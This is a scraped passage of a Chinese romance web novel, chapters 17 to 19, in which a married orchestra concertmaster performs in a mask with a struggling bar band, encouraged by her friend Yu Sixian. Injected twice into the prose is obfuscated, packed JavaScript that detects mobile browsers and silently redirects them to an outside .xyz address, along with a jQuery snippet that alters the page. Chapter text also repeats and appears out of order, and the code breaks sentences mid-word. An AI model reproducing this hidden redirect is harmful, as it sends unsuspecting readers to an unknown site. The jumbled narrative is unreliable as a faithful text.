这间酒吧从来没有这么安静过,台下所有人都屏气凝神,望向舞台最边缘处,那个戴着面具、看不清面容的小提琴手。 连不多的议论,都压得很轻。 “这是谁?” “林珩从哪里找来这么厉害的小提琴手?” “刚才林珩是不是说她只拉这一首,真的假的?” 所有乐队里,最引人注目的是主唱,其次是吉他手,其他成员大多只能靠舞台动作来吸引观众的注意,这几乎是一个不争的事实。 但那个小提琴手,仅仅只是站在那里,紧闭着眼睛,似乎完全沉浸在一个只有她自己的世界。 却像一场盛夏的风暴,没人能从她身上移开视线。 是的,这首《假面》确实不错,对于不少顾客来说,他们之所以没有向老板投诉,把逃出人间赶走,就是为了有朝一日,再听他们演奏《假面》。 可他们之前有预料到,这首歌竟然如此有力吗? 歌曲进入了过度段,徐勿凡的嗓音平和了下来,高若涵一边弹着贝斯,一边为她和声,两种音色结合,丰富着这首歌的层次。 “我们浑浑噩噩做笑脸, 保持你我体面。 任它溃烂, 任它腐败。 当天放晴, 我们又互道早安, 戴上假面。” 陆照霜的琴声跟着平稳下来,内敛又坚实地托在了其他音色下面,并没有把这首《假面》变成她的独角戏,而是牢牢地紧守着这首歌应有的节奏。 然而,就像蝴蝶效应,一只蝴蝶的振翅,几乎带动着其他所有人的表现。 整支乐队眼里都闪动着灼灼眸光,演奏比以往更加精练、更加激动,就好像共享了同一片炽热的火。 就连逃出人间里一直被人诟病,最为木讷呆板的唐湾,今天敲鼓的动作都格外张扬炫技。 后台,在观众看不到的角落,郁思弦环抱双臂,微微歪头靠着墙壁,额前的发丝下,黑眸倒映出陆照霜的背影。 既像是欣慰,又像是怀念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是今天,我再醒来, 想清晨是夜晚, 想夜晚是白天, 我厌倦了体面, 丢掉假面, 丢掉假面!” 最后一弓拉完,陆照霜就好像从深潜的水底猛地浮起,全身都被汗水濡湿了,心脏还在为了刚才的那四分钟振动。 酒吧里先是安静了好一会儿,随即,掌声山呼海啸般响起。 这才是逃出人间的第一首歌,可整个场子却已经被彻底焐热。 “再来一遍!再来一遍!” “这还换什么人,再来一遍!” 林珩显然也被刚才的演奏撼动了,他胸口剧烈地起伏着,回头怔怔看着陆照霜,似乎还有点反应不过来。 但陆照霜只是紧紧抿着唇,朝台下深深地鞠了一躬,就转身朝后台走去。 郁思弦站在那里,身体重新站直。 等她走近,他低下头,静静看着她,“阿照,开心吗?” 无人看到的晦暗处,陆照霜抿紧的唇一点点松开。 “嗯,”她看着郁思弦的眼睛,不知为何,忽然有种想哭的冲突,“开心,真的好开心。” 19. 第 19 章 今天是陆照霜的两周年结婚纪念日,可一整天下来,她最快乐的一刻,却与她的婚姻、与萧烨、甚至与她一切熟知的工作和生活毫无关系。 这里只有喧嚣与吵闹、颓败与烈酒、叛逆与张扬。 一切都是陌生的,她却在情不自禁为此悸动,她原来是这样的人吗? 镇定了一下心绪,陆照霜把小提琴交还给杜骅,再次向他道谢。 “喔喔,没事,没事。”杜骅沉浸在刚才的巨大冲击中,同手同脚地走上舞台。 台下因为换人而不满的观众,看到这一幕也被逗乐了。 林珩眯起眼睛又看她一眼,才转了回去,重新组织起接下来的演奏。 牧衡活动了一下手腕,笑着向陆照霜伸出手,“你好,陆小姐,我是牧衡,这间酒吧的老板,也是思弦的朋友。” “你好。”陆照霜同他握了下手。 感觉自从见过了林珩,不管是谁自称郁思弦的朋友,她都不会觉得奇怪了。 牧衡提议:“我们不如去前面看?” 郁思弦自然没什么意见,征询的目光落在陆照霜身上。 “好。”陆照霜点点头,视线还止不住地往台上飘。 三人回到前面的吧台,牧衡主动接过调酒师的工作,笑眯眯问:“陆小姐,‘黄粱一梦’想不想试试?” 郁思弦警告地瞥了他一眼。 牧衡无辜摊开手。 陆照霜犹豫了一下,“还是那杯‘醉浮生’吧。” 牧衡一脸遗憾,但还是照办。 这位陆小姐接过酒后,就一直盯着舞台,眼里有种少年人常有的光彩和专注,根本没察觉周围偷偷打量她的目光,很偶尔才会机械地尝一口酒。 牧衡怀疑,就算他偷偷把“黄粱一梦”塞给她,她恐怕也不会发觉。 她的心思显然还沉浸在刚才的那场演奏里。 郁思弦就坐在她旁边,手肘搭着卡座,很放松舒展的姿态,和她一样面向舞台的方向。 但每当他端起酒杯,目光就会很轻地从她脸上拂过,神情是牧衡从未见过的温情。 与其说他看的是舞台,不如说他看的是看着舞台的陆照霜。 这一刻,牧衡突然懂得了,为什么郁思弦方才要站在舞台后面。 因为只有站在她身后,他才可以肆无忌惮地看着她。 牧衡倚着吧台,打量着这两人,真是新奇极了,像郁思弦这种对世事淡薄的人,竟然会喜欢这种格外热衷某些事物的人。 后面的整场演奏都乏善可陈。 不只是观众,逃出人间的乐队成员们,显然也适应不了小提琴手更换的巨大落差,注意力很难集中,连林珩这种演奏精密的人,都出了好几次错。 几乎是演出一结束,林珩就带着乐队成员们飞奔过来。 “姐姐你小提琴拉得好厉害!”高若涵不复初见那天的胆怯,搓着手,难掩兴奋。 林珩显然还惦记着演出前的那段争执,摸了摸鼻子,有点不自在,“好吧,抱歉,陆小姐,是我之前判断失误,你确实拉得不错,我——” 他话还没说完,杜骅忽然一拍脑袋,恍然大悟一样大声叫道:“哦哦哦!我想起来了!姐姐你不是申城交响乐团的首席吗?我就说怎么看你这么眼熟,上次我还去听过你们的音乐会呢!” 首什么席? 林珩顿时把后面没说完的“同意你加入我们乐队”吞进了喉咙里,惊恐瞪圆了眼睛,从杜骅看到陆照霜,又从陆照霜看到杜骅,希望是他听错了。 高若涵和唐湾也愣在了当场,只有徐勿凡坐在椅子上跟牧衡要了杯酒,不意外也不好奇,事不关己的模样。 但就算林珩没说出来,陆照霜也听懂了林珩的意思,她眼睫轻颤,低声道:“抱歉。” 林珩手臂上青筋暴起。 哈?原来如此。 人家乐团首席来帮他们拉小提琴,难怪能拉出这种效果,但人家乐团首席又怎么可能放着大好前程不要,来加入他们这个小破乐队? 难怪,难怪,他演出前提议结束后再聊,这家伙一句话没回,感情人家就是来玩一场的,根本没有以后。 林珩活像吞了一只苍蝇,神情难看极了,“哦,那我真是太荣幸了,能和首席小姐共演一场,感谢您今天的赏脸,我就不奉陪了。” 说完,他一头扎进了后台,只给众人留下一个气鼓鼓的后脑。 高若涵有点不知所措,陆照霜不能加入确实让她有点失落,但刚才那一曲是她从未体会过的,她已经很满足了。 可她也知道,队长对乐队的看重程度,和他们是不一样的,她没法去劝队长。 唐湾作为年过三十的老职场人,连忙出来打圆场,“陆小姐,小林他就这个脾气,平时对我们也经常这样,但他没有别的恶意,你别介意。” “没事,本来就是我考虑不周。”陆照霜垂下眼。 在开场前,她之所以没有用自己的首席身份来说服林珩,就是怕他会觉得被羞辱……但最后果然还是这样了。 “我去跟他道个歉吧。”她手掌攥紧,干脆站起身。 郁思弦伸手把她按住,“没事,我去跟他聊。” 陆照霜一愣,就见郁思弦安抚地朝她笑了笑,然后转身进了后台。 还留在这里的人,只有徐勿凡轻松闲适,其他人都有些尴尬地径自玩起了手机。 陆照霜僵在原地,心神不宁。 “陆小姐,思弦你还不了解吗,交给他会没事的。”牧衡宽慰她。 陆照霜当然不是不放心郁思弦,但仍旧有种自己犯了错的局促感。 牧衡打量她片刻,忽然道:“陆小姐,你知道我为什么给这间酒吧起名叫‘搁浅’吗?” 陆照霜的注意力被拉了回来,很意外地抬眼看他,没想到,这个名字竟然是牧衡亲自起的。 看起来一点也不像。 这间酒吧从装潢风格到顾客群体,都透着一股颓丧气质,而牧衡本人却给人一种充满余裕的精英感。 牧衡手上调着酒,徐徐道:“大家总喜欢把人生分为顺境和逆境,但我觉得其实还有另一种状态。” “你对生活称不上满意,但也还能过得去;你可以前进,也可以后退。你被困在这个浅滩里,随波逐流,还不清楚自己到底该怎么办。” “我把这种状态叫做‘搁浅’。” 陆照霜心中微动,陡然明白了这间酒吧为什么会给她颓丧的印象,因为它容纳着很多人不够如意的懊丧。 兴许也包括她。 浅淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861648|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色融碎在酒杯里,像一尾桎梏住的鱼,被轻轻推到她面前。 牧衡微笑,“也是这杯酒的名字。我很多年没有调过了,陆小姐可以尝尝。” * 后台休息室内。 郁思弦背靠着门,盯着一脸暴躁的林珩,“你在生什么气?你们本来就缺小提琴手,雇来的那个学生水平也很一般,阿照让你们的演出更精彩了,你没有理由怨她。” 林珩终于按捺不住,冲过去抓住了郁思弦的领口,咬牙切齿,“别装傻!你知道你对我们做了多糟糕的事吗?” 由奢入俭难,人最受不了的就是落差。 他带着那么一个人过来,转头拍拍衣服离开,叫他们接下来还怎么找下一个队员? 郁思弦垂眸看着他,轻笑了声:“你对你们乐队这么没信心?” 林珩一愣。 郁思弦伸手把他推开,慢条斯理地整着自己的衣服,“半个月前,我带她过来听了一次你们的演出,只那一次,她就能完美复刻出你们的那首曲子,你觉得是为什么?” 林珩有点恍然,“你是说……” 郁思弦意味深长,“林珩,你或许觉得她对你们的吸引力很大,但你们对她来说也是一样。” 林珩感觉自己刚才已经熄灭的那个念头重新被点燃。 但他仍旧保持警惕,眯眼打量着面前这个泰然自若、好像预料到一切的男人,“我怎么觉得……你像是在利用我?” 郁思弦微微歪头,笑了笑,“是这样吗?” 林珩知道他是得不到任何答案了,咬了咬牙,又问:“你好像从一开始就很确定,她会对我们有兴趣。不是我妄自菲薄,但我们和乐团首席比起来,差得有些太远了吧。” 郁思弦沉默片刻,“你觉得人会忘记过去的自己吗?” “看情况吧,我十几岁那个人厌狗嫌的时候,我恨不能当场失忆。好吧……这是个玩笑,谁会忘记自己呢?” 郁思弦笑了笑,目光穿过林珩,像是落在很远的地方,有点微微失焦。 “对,我赌的就是这一点。” * 那杯“搁浅”还没有喝完,陆照霜就看到林珩和郁思弦走了出来。 不知道郁思弦说了什么,林珩整个人就像戴了紧箍咒的孙悟空,平静到都有些吓人了。 陆照霜抚了抚身上的裙子,忐忑地站起身,看着林珩一步步走近,心脏突突直跳,准备迎接林珩的发难。 然而林珩开口时,却堪称彬彬有礼,“陆小姐,既然你对我们的演出也不抵触,你要不要考虑来当我们的支援乐手?” 陆照霜双眼蓦然睁大。 林珩又补充了一个期限,“就到我们找到正式队员为止。” 高若涵和唐湾都有点惊悚,这人是谁,还是他们的刺头队长吗? 徐勿凡则像是来了兴致,好奇地看了好几眼。 陆照霜顿时心乱如麻。 她晚了整整五年,才终于成为首席,这她当然不可能放弃,可不过是支援乐手,帮他们一阵忙而已,应该也没关系吧? 她下意识望向郁思弦。 郁思弦站在林珩身后,和她保持着一段距离,像是不打算干涉她的任何决定,“阿照,我说过,这件事全凭你的意愿。” 17-20 第17章 ◎向他飞奔而去◎ 陆照霜看着电梯一层层往下跳,那个红色的数字,就好像她急促的心跳。 郁思弦说林珩他们乐队8点开场,现在赶过去还来得及吗? 不,更重要的是,那个酒吧到底在哪?上一次是郁思弦开车载她去的,她根本没有去记位置,更没有去注意那间酒吧叫什么名字。为什么上次她不更用心一点? 电梯抵达1楼,她拎着裙摆,跑到街边打车。 不记得那个名字也没关系,她可以先回江源名苑,郁思弦总是知道那间酒吧在哪的。 可当出租车停在面前时,她却突然顿住,发热的大脑一点点降温。 她身上还穿着今天的那条礼裙,包落在了餐厅里,手机也没有带,她现在身无分文。 她真是疯了,莽撞、冲动、草率……一点也不像她自己。 可她要回去吗? 回到那个油滑的、令人作呕的饭局,回去和那个大腹便便的李总虚与委蛇,回去和萧烨继续扮演相敬如宾,假装不在意他所有的故意作弄? 就像她过去一直做的那样。 晚风从肩头拂过,樱花在昏黄路灯下摇曳坠落。 她闭了闭眼,那种生活不是不能忍受,但就是……好可惜。 把这么漂亮的夜晚,浪费在那些事情上,好可惜。 陆照霜咬了咬牙,敲了敲出租车的车窗,等对方把车窗降下后,她硬着头皮问:“抱歉,师傅,我能到了以后,请朋友帮我付钱吗?” 司机大叔看上去和她爸差不多年纪,扫了她一眼就乐了,“没事儿,上来吧姑娘,你穿的跟那个坐马车的公主似的,我还能怕你逃单不成?” 陆照霜愣了下,随后弯起眉眼,拉开车门。 车子朝江源名苑开去,申城的夜晚,车水马龙、灯红酒绿。 陆照霜趴在车窗边上,看着如流水般倒退的晚樱,然后迟疑着伸出手,将一片落到近处的花瓣握进掌心。 “喜欢看樱花呀,姑娘?那你运气不错,赶上最后一趟了,天气预报说明天下大雨,这花可就一点不剩喽。” 陆照霜“嗯”了一声,也笑了笑,“是啊,幸好赶上了。” 坐南瓜马车穿着蓝色长裙的,不是公主而是灰姑娘,司机大叔也不是仙女教母,但这一切,还是如同不到午夜就不会失效的魔法,让这个大脑发热的夜晚续写下去。 出租车一路开进江源名苑,陆照霜站在郁思弦家门口,按了下门铃。 过了好几分钟,她都开始担心郁思弦是不是不在家的时候,门开了。 “阿照?”郁思弦握着门把手,带着一身潮湿水汽出现,疑惑挑起眉。 他身上穿着质地柔软的T恤,头发湿漉漉的,水滴沿着发尾打在衣服上,留下斑驳不一的深浅痕迹。 “啊,你在洗澡……”陆照霜下意识往后退了一步,脑子懵懵的,“抱歉,没事了。” 郁思弦没给她逃跑的机会,一把攥住她手腕,“阿照,你想说什么,现在就说。” 他语气温和、又很轻,不给人强迫的感觉,很容易诱使人说出心里话。 陆照霜抿了抿唇,还是开口,“我现在去林珩他们乐队还来得及吗?” 郁思弦一顿,目光落在她身上没换下的礼裙和身后的出租车上。 她正在想她该怎么解释,郁思弦却什么也没问,而是反手将门锁在身后,“来得及,走吧。” 说完,郁思弦拖住她手腕,径自走到出租车前,俯身询问看热闹的司机大叔:“能劳烦您再送我们去个地方吗?” 得到同意后,他掌住后座车门,示意她坐进去。 陆照霜都有点凌乱了,她自己就够仓促了,但郁思弦显然比她更仓促。 他头发都还湿着,身上就带了只手机,哪怕他回去带件外套呢? 她迟疑问:“现在就走?” “嗯,现在。” 郁思弦温和地看着她,下句话却叫她心中重重一颤。 “阿照,你不知道吗?你现在看起来想拉琴想得要发疯。” …… 时隔半个月,再次抵达那间酒吧,这一次陆照霜抬起头,认认真真看着招牌,它叫“搁浅”。 她记下了。 距离上台只剩十分钟,郁思弦没有再多寒暄,带着她径自走进后台休息室。 逃出人间的乐队成员们都已经准备妥当,见他们推门而入,林珩一脸惊讶,“思弦,你怎么来了?” 郁思弦往后一瞥,上次演出时那个被雇来的大学生还在这里,便心中有数,“想给你介绍一个小提琴手。” 他偏头看向陆照霜,“阿照。” 林珩蹙着眉,盯着这个好像刚从订婚宴上逃出来的女人。 他对她有印象,但郁思弦上次没有介绍她,他以为这不过是郁思弦带来看演出的朋友。 他有点搞不清郁思弦这到底是什么动机,在这个时间把她推出来,“你是说……这位?” 陆照霜来都来了,没有理由在这种时刻退缩,她上前一步,朝林珩伸出手,“你好,我是陆照霜。” 林珩很勉强地和她握了下手,“好吧,陆小姐,那等今天演出结束了以后,我们可以来谈谈。” 之后吗?陆照霜眼睫轻颤,一时没有接话。 郁思弦目光从她脸上拂过,忽然插进一句,“既然无论如何都要看看相性,为什么不放到现在呢?” 屋内所有人都是一怔。 林珩简直有点摸不着头脑了,“什么意思?你想让她现在上场?” 郁思弦镇定地迎上他质疑的目光,“有什么不可以?” 林珩认识郁思弦这么多年,头一次觉得,郁思弦竟然是这么不靠谱的人。 他疯狂在脑子里提醒自己,郁思弦一直以来帮过他很多,他才不至于当场拉下脸。 “抱歉,那恐怕不行。且不说我根本不认识这位陆小姐,最大的问题是,她连我们的曲子怎么拉都不知道吧,她要怎么上场?” 陆照霜很清楚,林珩的考量从任何角度来说,都是非常正当的。 但是今晚从酒店逃走后,萦绕在心头的冲动和勇气,她舍不得就此放弃。 深吸了一口气,她抬眼直视林珩,决定去努力抓住这个机会。 “我上次来听过你们的演出,对你们的曲子有印象,我确实没法保证你们的每一首曲子我都可以复原,但我可以保证的是,那一首《假面》,我绝对不会拉错。” 林珩听笑了。 他多少年没见过这么狂的人了,听过一次他们的演出,就敢说自己绝对不会拉错?就算是他们自己乐队的人,都不敢打这个包票。 “嗯,怎么说呢……无论如何,陆小姐,至少我欣赏你的自信。” 他语气已有几分轻慢的嘲讽,但陆照霜看着他,表情却没有一丝波动,只是冷静反问:“林先生,你们现在的演出效果,和两周前那一次相比如何?” 林珩神情僵硬。 陆照霜懂了,遂道:“我知道我的提议在你看来非常荒谬,但我确信,我能让你的演出更精彩,对你来说,这不是一个亏本的提议。” “当然,”她又补充一句,“口说无凭,我可以现在就拉给你听。” 林珩眉头都快拧成一团了,郁思弦从哪找来这么轴的人? “那就不必了,时间也来不及,”顿了顿,看在郁思弦的面子上,他语气稍缓,“抱歉,这是我们乐队的演出,作为队长,我要对我们的观众负责。” 陆照霜手指攥紧又松开,在心里叹口气,稍觉惋惜。 她不确定,她还有没有那个下次。 但争取机会是她的选择,要不要给她这个机会,是林珩的权利,她没道理强迫林珩按她想要的做。 “好,”陆照霜肩膀松下来,朝他笑了笑,“那祝你们演出顺利。” 郁思弦没再多说什么,他尊重陆照霜的选择。 这场短短几分钟的争执,本该就此落下帷幕,谁料有人忽然开口:“让她试试呗,也没什么。” 众人目光齐齐转向房间角落。 徐勿凡仍旧穿着那条红裙,没骨头一样窝在化妆镜前的椅子里,察觉众人的视线,她才缓缓地掀起眼皮,语气透着股无所谓的慵懒。 “我是说,我们一个差点散伙的乐队,两个写字楼里时不时就九九六的小白领,”她朝鼓手唐湾和贝斯手高若涵努了努下巴,又朝林珩笑了笑,“哦,还有我们两个吃了上顿没下顿的临时工。” 林珩肩头僵硬,紧紧抿着唇,明明是个很倔的姿态,但看着徐勿凡的眼神却莫名有点伤心。 徐勿凡却看都没看他一下,托着下巴,笑眯眯看向小提琴手杜骅,“最后一个乐队成员还只能靠雇,弟弟,要不是你最近缺钱,恐怕也不愿意来参加我们的演出,对吧?” 杜骅摸了摸鼻子,尬笑了下。 徐勿凡摊开手,“我们本来就糟到不能更糟了,换一个见都没见过的队员上场,还能糟到哪里去?” 她说完,整个乐队都静了一静。 林珩和徐勿凡对视了好一会儿,才咬咬牙道:“行。” 他转过头,死死盯住陆照霜的眼睛,“把《假面》换到第一首,你上,我给你这一次机会,你要是这次拉不好,那我们以后也别谈了。” 他本就骨相锋利,这样充满敌意的时刻,看上去就更凶了。 后面的唐湾和高若涵互相交换了一个无可奈何的眼神。 没人觉得她能拉好,哪怕是不知为何帮她说话的徐勿凡,显然也不是因为看好她。 但这又如何?她需要的是机会,只要有机会,她自然能证明自己。 陆照霜毫不退让地看着林珩,笑着接下了他的考验,“好,一次就一次。” 门外有人咚咚敲门,“林珩,你们准备好了吗?该上场了!” “知道,马上就来!”林珩喊了一声,看也没看陆照霜一眼,就绷着脸从她旁边经过,推门出去了。 陆照霜不以为意,径自走到杜骅面前,礼貌询问:“抱歉,我走的急,没有带小提琴,可以借你的用一下吗?” 离得近了,她身上那股和这间酒吧格格不入的漂亮矜贵扑面而来,杜骅“喔”了一声,不知怎么,有点紧张,慌忙把小提琴递给她,“没事儿,你用吧。” “谢谢。”陆照霜朝他微微笑笑。 “不客气。”杜骅挠了挠头,真奇怪,他为什么觉得这个漂亮姐姐有点眼熟? 准备上台之际,徐勿凡忽然朝她撇来一眼,“没关系吗?” “什么没关系?” 徐勿凡朝外面的观众努了努下巴,眸光闪动,颇有种看热闹的意思,“被人看到你现在的样子,说不定还会拍下来传到网上,没关系吗?” 陆照霜一顿。 那种奇怪的感觉又来了。 从上一次看他们演出的时候开始,她就觉得,徐勿凡仿佛在注视着她。 然后看穿她所有的忧虑、不堪、考量。 她当然不是没关系的,不用想也知道,假如今天的事情传到长辈们那里,绝对不是能轻易收场的小事。 但她真的太舍不得这个头脑发热的夜晚。 所以,那些需要承担的后果,都等明天再说吧。 然而下一刻,一只温热的手擦过她的耳廓,将一面黑色的面具覆上她的脸。 徐勿凡微微挑眉,无趣地移开了视线。 郁思弦的声音在她身后响起,“现在没关系了。” 陆照霜摸了摸脸上的面具,感觉嗓音都哑了,“你怎么连这都有准备?” 外面响起稀稀落落的掌声,林珩率先走出去。 郁思弦动作不紧不慢,在她脑后绑着面具系带,轻描淡写回答:“接受我的怂恿出来冒险,是你的选择,在你真的做好准备之前,帮你善后就是我的责任。所以,阿照,别怕。” 陆照霜愣住。 系带绑好,那只手隔着一层薄薄的礼裙,落在她后背,并不包含任何旖旎意味,只有一种温和坚定的力道,将她轻轻推向那个灯光绚烂处。 “去吧,要玩得开心。” 18/ 第18章 ◎事关她的清誉◎ 陆照霜一步踏上舞台,头顶的打光五颜六色、炫目刺眼,她下意识闭了闭眼。 “喔!林珩,你们从哪招的新人,真是越来越奇怪了!” 大概是看她装束与这里格格不入,底下有人吹起了口哨。 “没事,习惯就好,反正我们本来就奇怪。”林珩淡笑着回复,有种破罐子破摔的感觉,显然徐勿凡的话对他刺激不轻。 他们分散站在台上,朝台下的观众们挥着手,顾客们坐得这样近,嗡嗡的嘈杂声如同海浪,无孔不入扑面而来,还能嗅到酒水的气味。 陆照霜上一次在类似这种环境的地方演奏,还是大学的迎新晚会。 她只参加了那一次,就被妈妈严厉地喝止了,认为她是在浪费时间不务正业。 而现在,她所做的远超当时,妈妈会怎么想呢?恐怕已不能用不务正业来形容,而称得上一种亵渎了。 陆照霜握着小提琴的手紧了紧,不是因这种场合而紧张,只是有种轻飘飘的不确定,怀疑自己是不是又在犯下什么罪过。 她下意识回头看去。 郁思弦没有去前方落座,而是倚靠着后台墙壁,站在晦暗阴影里,见她望过来,眉眼温和地下敛,朝她轻轻点了下头。 他那个角度差到不能再差,除了他们的背影,还能看到什么? 陆照霜既觉得他真奇怪,又不可避免地感到安心。 想到身后还有这样一个人存在,他知晓她的悖逆,做了她的同谋,即便这是罪过,又有什么好怕的? 她深呼了口气,朝郁思弦微微一笑,然后转回身。 林珩同上次一样,正在热情洋溢地介绍着他们的成员。 轮到她的那一刻,林珩视线望过来,鼻翼微微抽动了一下,显得有点扭曲,但还是张臂向观众介绍她。 “这位是我们今天新来的支援乐手,但很抱歉,她的时间有限,所以只能为我们演奏接下来的这一首,《假面》。” 陆照霜有些意外。 林珩真的长着一张很自我的脸,但无论他私下对她有多大意见,却也不会在这种场合表露出来,是真心实意在为他们乐队的演出考虑的。 陆照霜不讨厌认真的人,所以,接下来,她也绝对不能在这一步出差错。 最前方,林珩朝徐勿凡点了下头,随后,电吉他的声音从林珩手下流淌而出,带着一种干燥、茫然、失真的味道,为这首《假面》开了场。 徐勿凡身体微微摇晃,轻声吟唱。 “每天从寂静清晨中醒来, 生活在日复一日地重复。 没人在意, 我的模样, 安安分分规规矩矩成为所有的一员。” 随着她的每一句歌词,鼓手贝斯都加入进来,伴奏变强。 陆照霜握住琴弓,闭上眼睛。 底下不少观众都是熟客,听到这里,已朝自己的同伴露出会心的微笑。 接下来,就该到小提琴出场的时机了,但逃出*人间的小提琴嘛,他们私下都觉得还不如没有呢。 但下一秒,随着一段连弓,悠扬婉转的音色从其他所有乐器的声音中突围而出,将整首歌的情绪铺垫起来。 无论是林珩还是高若涵唐湾,都下意识望了过来,险些忘了自己手下的节奏。 只有徐勿凡一如往常,握着麦克风,唱起第二段主歌。 “每天在互道晚安后入睡, 夜晚在终日疲惫后开始。 可我不甘, 就此结束, 轰轰烈烈风风火火戴上梦境的王冠。” 最后一声落地,唐湾手握鼓锤狠狠敲下,随着这一声鼓声,副歌唱响。 林珩踩住音箱,堪称炫技的电吉他响起,张扬极了。 徐勿凡那种极富金属质感的音色,在副歌中毫不掩饰地宣泄而出。 “我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 别无选择,继续生活。 我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 迫不得已,戴上面具。” 陆照霜闭着眼睛,感受着灼烧过她的那把火焰,离她离得这么近。 这一刻,她突然明白,原来她会畏惧,是因为羡慕;她会躲避,是因为不敢直视。 她的心跳在每一个音符下狂热跳动,她终于还是忍不住,要伸出手,将把火拢进胸口。 小提琴高亢而嘹亮的声音,和徐勿凡的嗓音几乎融为一体,声嘶力竭地将歌曲导入高潮。 这间酒吧从来没有这么安静过,台下所有人都屏气凝神,望向舞台最边缘处,那个戴着面具、看不清面容的小提琴手。 连不多的议论,都压得很轻。 “这是谁?” “林珩从哪里找来这么厉害的小提琴手?” “刚才林珩是不是说她只拉这一首,真的假的?” 所有乐队里,最引人注目的是主唱,其次是吉他手,其他成员大多只能靠舞台动作来吸引观众的注意,这几乎是一个不争的事实。 但那个小提琴手,仅仅只是站在那里,紧闭着眼睛,似乎完全沉浸在一个只有她自己的世界。 却像一场盛夏的风暴,没人能从她身上移开视线。 是的,这首《假面》确实不错,对于不少顾客来说,他们之所以没有向老板投诉,把逃出人间赶走,就是为了有朝一日,再听他们演奏《假面》。 可他们之前有预料到,这首歌竟然如此有力吗? 歌曲进入了过度段,徐勿凡的嗓音平和了下来,高若涵一边弹着贝斯,一边为她和声,两种音色结合,丰富着这首歌的层次。 “我们浑浑噩噩做笑脸, 保持你我体面。 任它溃烂, 任它腐败。 当天放晴, 我们又互道早安, 戴上假面。” 陆照霜的琴声跟着平稳下来,内敛又坚实地托在了其他音色下面,并没有把这首《假面》变成她的独角戏,而是牢牢地紧守着这首歌应有的节奏。 然而,就像蝴蝶效应,一只蝴蝶的振翅,几乎带动着其他所有人的表现。 整支乐队眼里都闪动着灼灼眸光,演奏比以往更加精练、更加激动,就好像共享了同一片炽热的火。 就连逃出人间里一直被人诟病,最为木讷呆板的唐湾,今天敲鼓的动作都格外张扬炫技。 后台,在观众看不到的角落,郁思弦环抱双臂,微微歪头靠着墙壁,额前的发丝下,黑眸倒映出陆照霜的背影。 既像是欣慰,又像是怀念。 他身边不知何时多了一个三十岁左右的男人,也盯着舞台,跟随观众一起鼓着掌。 “看来,我星期天晚上的夜场,终于不是赶客时间了。以后恐怕有大把人要冲着他们来了,恭喜,你不用再继续帮你的老同学给我补贴损失了。” 郁思弦轻笑了一声,“如果真是这样,那恐怕,他们待在你这里的时间也不会太久了。” 那男人眉梢挑起,“这个面具,你从半个多月前就已经放在我这儿了,你是不是早就预料到,有了这位神秘姑娘的加入,他们乐队确实会浴火重生啊?” 郁思弦眼睑微垂,只答了声:“以防万一而已。” 男人“啧”了声,“你当初说你看好这支乐队能上你们节目,我还觉得你真是白日做梦,现在看来,你还真挺有眼光的。” 顿了顿,他忽然像是咂摸出什么,盯着郁思弦的眼神都微妙起来,“等等,我怎么突然觉得,你一年前把林珩牵线到我这里,恐怕为的不是林珩吧。” 郁思弦肩头微耸,“我还不会未卜先知到这种程度。” 那男人却不信,揶揄道:“我可看到了,那姑娘手上可戴着婚戒呢,你这么多年连个恋爱都不谈,不会是因为看上了人家有夫之妇吧?” 郁思弦回过头,低头审视着他,眸光中带着冷意,“牧衡,事关她的声誉,慎言。” 牧衡瞬间汗毛倒竖,窜起一身鸡皮疙瘩。 郁思弦这人,外表看着冷,熟悉了以后,就觉得他其实既没有架子,也挺好说话。 可一旦你真觉得他外冷内热,想做他的朋友,就会发现,他骨子里泾渭分明,对每个人都划了明确的界限,认识他再久,也无法彻底靠近他。 而一旦有人试图越线,他就不会留任何情面。 看来这个拉小提琴的姑娘是他的某种底线。 牧衡不会蠢到去挑战郁思弦的底线,见好就收,“好好好,我们今晚只欣赏音乐。” 《假面》唱到了尾声,所有乐器、人声,都跟着歌词的情绪推到了高潮。 “我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 但是今天,我再醒来, 想清晨是夜晚, 想夜晚是白天, 我厌倦了体面, 丢掉假面, 丢掉假面!” 最后一弓拉完,陆照霜就好像从深潜的水底猛地浮起,全身都被汗水濡湿了,心脏还在为了刚才的那四分钟振动。 酒吧里先是安静了好一会儿,随即,掌声山呼海啸般响起。 这才是逃出人间的第一首歌,可整个场子却已经被彻底焐热。 “再来一遍!再来一遍!” “这还换什么人,再来一遍!” 林珩显然也被刚才的演奏撼动了,他胸口剧烈地起伏着,回头怔怔看着陆照霜,似乎还有点反应不过来。 但陆照霜只是紧紧抿着唇,朝台下深深地鞠了一躬,就转身朝后台走去。 郁思弦站在那里,身体重新站直。 等她走近,他低下头,静静看着她,“阿照,开心吗?” 无人看到的晦暗处,陆照霜抿紧的唇一点点松开。 “嗯,”她看着郁思弦的眼睛,不知为何,忽然有种想哭的冲突,“开心,真的好开心。” 19/ 第19章 ◎你像是在利用我◎ 今天是陆照霜的两周年结婚纪念日,可一整天下来,她最快乐的一刻,却与她的婚姻、与萧烨、甚至与她一切熟知的工作和生活毫无关系。 这里只有喧嚣与吵闹、颓败与烈酒、叛逆与张扬。 一切都是陌生的,她却在情不自禁为此悸动,她原来是这样的人吗? 镇定了一下心绪,陆照霜把小提琴交还给杜骅,再次向他道谢。 “喔喔,没事,没事。”杜骅沉浸在刚才的巨大冲击中,同手同脚地走上舞台。 台下因为换人而不满的观众,看到这一幕也被逗乐了。 